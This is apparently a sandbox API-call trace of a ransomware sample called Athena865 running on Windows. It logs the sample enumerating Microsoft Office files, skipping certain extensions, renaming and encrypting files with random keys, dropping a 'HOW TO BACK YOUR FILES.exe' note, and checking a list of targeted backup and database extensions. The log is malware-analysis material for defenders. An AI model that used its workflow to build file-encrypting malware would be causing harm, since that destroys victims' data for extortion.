out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc82600, ftCreationTime.dwHighDateTime=0x1cac1e2, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3cc82600, ftLastWriteTime.dwHighDateTime=0x1cac1e2, nFileSizeHigh=0x0, nFileSizeLow=0x9380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GRINTL32.DLL.IDX_DLL", cAlternateFileName="GRINTL~1.IDX")) returned 1 [0140.972] lstrcmpiW (lpString1="GRINTL32.DLL.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.972] lstrcmpiW (lpString1="GRINTL32.DLL.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.972] lstrcpyW (in: lpString1=0x241e8a8, lpString2="GRINTL32.DLL.IDX_DLL" | out: lpString1="GRINTL32.DLL.IDX_DLL") returned="GRINTL32.DLL.IDX_DLL" [0140.972] lstrlenW (lpString="GRINTL32.DLL.IDX_DLL") returned 20 [0140.972] lstrlenW (lpString="Athena865") returned 9 [0140.972] lstrcmpiW (lpString1="L.IDX_DLL", lpString2="Athena865") returned 1 [0140.972] lstrlenW (lpString=".dll") returned 4 [0140.972] lstrcmpiW (lpString1="GRINTL32.DLL.IDX_DLL", lpString2=".dll") returned 1 [0140.972] lstrlenW (lpString=".lnk") returned 4 [0140.972] lstrcmpiW (lpString1="GRINTL32.DLL.IDX_DLL", lpString2=".lnk") returned 1 [0140.972] lstrlenW (lpString=".ini") returned 4 [0140.972] lstrcmpiW (lpString1="GRINTL32.DLL.IDX_DLL", lpString2=".ini") returned 1 [0140.972] lstrlenW (lpString=".sys") returned 4 [0140.972] lstrcmpiW (lpString1="GRINTL32.DLL.IDX_DLL", lpString2=".sys") returned 1 [0140.972] lstrlenW (lpString="GRINTL32.DLL.IDX_DLL") returned 20 [0140.972] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL.Athena865") returned 78 [0140.972] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll.athena865"), dwFlags=0x1) returned 1 [0140.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.974] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=37760) returned 1 [0140.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.974] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.975] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.975] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.975] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9680, lpName=0x0) returned 0x154 [0140.978] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9680) returned 0x100000 [0140.980] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.981] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.981] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.981] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.981] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.981] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.981] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.981] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.981] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.981] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.982] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.982] CloseHandle (hObject=0x154) returned 1 [0140.982] CloseHandle (hObject=0x17c) returned 1 [0140.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.983] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc82600, ftCreationTime.dwHighDateTime=0x1cac1e2, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3cc82600, ftLastWriteTime.dwHighDateTime=0x1cac1e2, nFileSizeHigh=0x0, nFileSizeLow=0x18780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GRINTL32.REST.IDX_DLL", cAlternateFileName="GRINTL~2.IDX")) returned 1 [0140.983] lstrcmpiW (lpString1="GRINTL32.REST.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.983] lstrcmpiW (lpString1="GRINTL32.REST.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.983] lstrcpyW (in: lpString1=0x241e8a8, lpString2="GRINTL32.REST.IDX_DLL" | out: lpString1="GRINTL32.REST.IDX_DLL") returned="GRINTL32.REST.IDX_DLL" [0140.983] lstrlenW (lpString="GRINTL32.REST.IDX_DLL") returned 21 [0140.983] lstrlenW (lpString="Athena865") returned 9 [0140.983] lstrcmpiW (lpString1="T.IDX_DLL", lpString2="Athena865") returned 1 [0140.983] lstrlenW (lpString=".dll") returned 4 [0140.983] lstrcmpiW (lpString1="GRINTL32.REST.IDX_DLL", lpString2=".dll") returned 1 [0140.983] lstrlenW (lpString=".lnk") returned 4 [0140.983] lstrcmpiW (lpString1="GRINTL32.REST.IDX_DLL", lpString2=".lnk") returned 1 [0140.983] lstrlenW (lpString=".ini") returned 4 [0140.983] lstrcmpiW (lpString1="GRINTL32.REST.IDX_DLL", lpString2=".ini") returned 1 [0140.983] lstrlenW (lpString=".sys") returned 4 [0140.983] lstrcmpiW (lpString1="GRINTL32.REST.IDX_DLL", lpString2=".sys") returned 1 [0140.983] lstrlenW (lpString="GRINTL32.REST.IDX_DLL") returned 21 [0140.983] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL.Athena865") returned 79 [0140.983] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll.athena865"), dwFlags=0x1) returned 1 [0140.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.985] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=100224) returned 1 [0140.986] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.986] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.986] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.986] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.987] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.987] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.987] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18a80, lpName=0x0) returned 0x154 [0140.988] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18a80) returned 0x100000 [0140.992] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.993] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.993] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.993] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.994] CloseHandle (hObject=0x154) returned 1 [0140.994] CloseHandle (hObject=0x17c) returned 1 [0140.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.995] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GRLEX.DLL", cAlternateFileName="")) returned 1 [0140.995] lstrcmpiW (lpString1="GRLEX.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.995] lstrcmpiW (lpString1="GRLEX.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.995] lstrcpyW (in: lpString1=0x241e8a8, lpString2="GRLEX.DLL" | out: lpString1="GRLEX.DLL") returned="GRLEX.DLL" [0140.995] lstrlenW (lpString="GRLEX.DLL") returned 9 [0140.995] lstrlenW (lpString="Athena865") returned 9 [0140.995] lstrlenW (lpString=".dll") returned 4 [0140.995] lstrcmpiW (lpString1="GRLEX.DLL", lpString2=".dll") returned 1 [0140.995] lstrlenW (lpString=".lnk") returned 4 [0140.995] lstrcmpiW (lpString1="GRLEX.DLL", lpString2=".lnk") returned 1 [0140.995] lstrlenW (lpString=".ini") returned 4 [0140.995] lstrcmpiW (lpString1="GRLEX.DLL", lpString2=".ini") returned 1 [0140.995] lstrlenW (lpString=".sys") returned 4 [0140.996] lstrcmpiW (lpString1="GRLEX.DLL", lpString2=".sys") returned 1 [0140.996] lstrlenW (lpString="GRLEX.DLL") returned 9 [0140.996] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL.Athena865") returned 67 [0140.996] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll.athena865"), dwFlags=0x1) returned 1 [0140.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.997] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12672) returned 1 [0140.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.998] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.998] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.998] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.999] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3480, lpName=0x0) returned 0x154 [0141.000] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3480) returned 0x100000 [0141.001] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0141.002] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.002] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0141.003] lstrcpyW (in: lpString1=0x241e8a8, lpString2="Groove Starter Template.xsn" | out: lpString1="Groove Starter Template.xsn") returned="Groove Starter Template.xsn" [0141.003] lstrlenW (lpString="Groove Starter Template.xsn") returned 27 [0141.003] lstrlenW (lpString="Athena865") returned 9 [0141.003] lstrcmpiW (lpString1="plate.xsn", lpString2="Athena865") returned 1 [0141.003] lstrlenW (lpString=".dll") returned 4 [0141.003] lstrcmpiW (lpString1="Groove Starter Template.xsn", lpString2=".dll") returned 1 [0141.003] lstrlenW (lpString=".lnk") returned 4 [0141.003] lstrcmpiW (lpString1="Groove Starter Template.xsn", lpString2=".lnk") returned 1 [0141.003] lstrlenW (lpString=".ini") returned 4 [0141.003] lstrcmpiW (lpString1="Groove Starter Template.xsn", lpString2=".ini") returned 1 [0141.003] lstrlenW (lpString=".sys") returned 4 [0141.003] lstrcmpiW (lpString1="Groove Starter Template.xsn", lpString2=".sys") returned 1 [0141.003] lstrlenW (lpString="Groove Starter Template.xsn") returned 27 [0141.003] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Groove Starter Template.xsn.Athena865") returned 85 [0141.003] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Groove Starter Template.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove starter template.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Groove Starter Template.xsn.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove starter template.xsn.athena865"), dwFlags=0x1) returned 1 [0141.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Groove Starter Template.xsn.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove starter template.xsn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0141.005] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3001) returned 1 [0141.005] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0141.006] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.006] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0141.006] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xec0, lpName=0x0) returned 0x154 [0141.008] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xec0) returned 0x100000 [0141.008] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0141.009] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.009] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0141.009] lstrcpyW (in: lpString1=0x241e8a8, lpString2="GROOVE.HXS" | out: lpString1="GROOVE.HXS") returned="GROOVE.HXS" [0141.010] lstrlenW (lpString="GROOVE.HXS") returned 10 [0141.010] lstrlenW (lpString="Athena865") returned 9 [0141.010] lstrcmpiW (lpString1="ROOVE.HXS", lpString2="Athena865") returned 1 [0141.010] lstrlenW (lpString=".dll") returned 4 [0141.010] lstrcmpiW (lpString1="GROOVE.HXS", lpString2=".dll") returned 1 [0141.010] lstrlenW (lpString=".lnk") returned 4 [0141.010] lstrcmpiW (lpString1="GROOVE.HXS", lpString2=".lnk") returned 1 [0141.010] lstrlenW (lpString=".ini") returned 4 [0141.010] lstrcmpiW (lpString1="GROOVE.HXS", lpString2=".ini") returned 1 [0141.010] lstrlenW (lpString=".sys") returned 4 [0141.010] lstrcmpiW (lpString1="GROOVE.HXS", lpString2=".sys") returned 1 [0141.010] lstrlenW (lpString="GROOVE.HXS") returned 10 [0141.010] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS.Athena865") returned 68 [0141.010] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs.athena865"), dwFlags=0x1) returned 1 [0141.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0141.012] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2278416) returned 1 [0141.012] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0141.013] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.013] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0141.013] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x22c710, lpName=0x0) returned 0x154 [0141.015] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x2c710) returned 0x170000 [0141.109] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0141.110] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.110] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0141.119] lstrcpyW (in: lpString1=0x241e8a8, lpString2="GrooveForms5" | out: lpString1="GrooveForms5") returned="GrooveForms5" [0141.119] lstrcatW (in: lpString1="GrooveForms5", lpString2="\\" | out: lpString1="GrooveForms5\\") returned="GrooveForms5\\" [0141.119] lstrcatW (in: lpString1="GrooveForms5\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="GrooveForms5\\HOW TO BACK YOUR FILES.exe") returned="GrooveForms5\\HOW TO BACK YOUR FILES.exe" [0141.119] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\how to back your files.exe"), bFailIfExists=1) returned 1 [0141.125] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c91e000, ftCreationTime.dwHighDateTime=0x1cacb46, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8c91e000, ftLastWriteTime.dwHighDateTime=0x1cacb46, nFileSizeHigh=0x0, nFileSizeLow=0x863360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GrooveIntlResource.dll", cAlternateFileName="GROOVE~1.DLL")) returned 1 [0141.125] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0141.125] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.125] lstrcpyW (in: lpString1=0x241e8a8, lpString2="GrooveIntlResource.dll" | out: lpString1="GrooveIntlResource.dll") returned="GrooveIntlResource.dll" [0141.125] lstrlenW (lpString="GrooveIntlResource.dll") returned 22 [0141.125] lstrlenW (lpString="Athena865") returned 9 [0141.125] lstrcmpiW (lpString1="ource.dll", lpString2="Athena865") returned 1 [0141.125] lstrlenW (lpString=".dll") returned 4 [0141.125] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2=".dll") returned 1 [0141.125] lstrlenW (lpString=".lnk") returned 4 [0141.125] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2=".lnk") returned 1 [0141.125] lstrlenW (lpString=".ini") returned 4 [0141.125] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2=".ini") returned 1 [0141.125] lstrlenW (lpString=".sys") returned 4 [0141.125] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2=".sys") returned 1 [0141.125] lstrlenW (lpString="GrooveIntlResource.dll") returned 22 [0141.125] lstrlenW (lpString="bak") returned 3 [0141.125] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0141.126] lstrlenW (lpString="ba_") returned 3 [0141.126] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0141.126] lstrlenW (lpString="dbb") returned 3 [0141.126] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0141.126] lstrlenW (lpString="vmdk") returned 4 [0141.126] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0141.126] lstrlenW (lpString="rar") returned 3 [0141.126] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0141.126] lstrlenW (lpString="zip") returned 3 [0141.126] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0141.126] lstrlenW (lpString="tgz") returned 3 [0141.126] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0141.126] lstrlenW (lpString="vbox") returned 4 [0141.126] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0141.126] lstrlenW (lpString="vdi") returned 3 [0141.126] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0141.126] lstrlenW (lpString="vhd") returned 3 [0141.126] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0141.126] lstrlenW (lpString="vhdx") returned 4 [0141.126] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0141.126] lstrlenW (lpString="avhd") returned 4 [0141.126] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0141.126] lstrlenW (lpString="db") returned 2 [0141.126] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0141.126] lstrlenW (lpString="db2") returned 3 [0141.126] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0141.126] lstrlenW (lpString="db3") returned 3 [0141.126] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0141.126] lstrlenW (lpString="dbf") returned 3 [0141.126] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0141.127] lstrlenW (lpString="mdf") returned 3 [0141.127] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0141.127] lstrlenW (lpString="mdb") returned 3 [0141.127] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0141.127] lstrlenW (lpString="sql") returned 3 [0141.127] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0141.127] lstrlenW (lpString="sqlite") returned 6 [0141.127] lstrcmpiW (lpString1="ce.dll", lpString2="sqlite") returned -1 [0141.127] lstrlenW (lpString="sqlite3") returned 7 [0141.127] lstrcmpiW (lpString1="rce.dll", lpString2="sqlite3") returned -1 [0141.127] lstrlenW 